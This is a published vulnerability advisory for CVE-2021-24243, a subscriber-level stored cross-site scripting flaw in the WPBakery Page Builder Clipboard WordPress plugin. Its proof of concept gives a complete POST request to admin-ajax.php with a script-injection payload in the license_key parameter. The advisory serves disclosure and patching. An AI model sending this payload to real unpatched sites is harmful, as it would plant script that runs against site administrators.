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WordPress Plugin Vulnerabilities

WPBakery Page Builder Clipboard < 4.5.6 - Subscriber+ Stored Cross-Site Scripting (XSS)

Description

An AJAX action registered by the plugin did not have capability checks nor sanitization, allowing low privilege users (subscriber+) to call it and set XSS payloads, which will be triggered in all backend pages.

Version 4.5.6 fixed the XSS issue with sanitization of the parameters, but did not fix the Subscriber+ options update. See additional related vulnerability patched in version 4.5.8.

Proof of Concept

When logged in as a user with Subcriber role or greater, submit a request to wp-admin/admin-ajax.php with action = "vc_clipboard_activate" and Javascript can be set in the "email" or "license_key" parameters.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Connection: close
Cookie: [Subscriber+ cookies]

action=vc_clipboard_activate&email=alertfoo&license_key=</script><script>alert(123);</script><script> 

Affects Plugins

vc_clipboard
Fixed in version 4.5.6

References

CVE
CVE-2021-24243
URL
https://codecanyon.net/item/visual-composer-clipboard/8897711

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Charles Strader Sweethill

Submitter

Charles Strader Sweethill

Submitter website
https://wordfence.com
Verified

Yes

WPVDB ID
3bc0733a-b949-40c9-a5fb-f56814fc4af3

Timeline

Publicly Published

2021-04-03 (about 1 years ago)

Added

2021-04-06 (about 1 years ago)

Last Updated

2021-04-07 (about 1 years ago)

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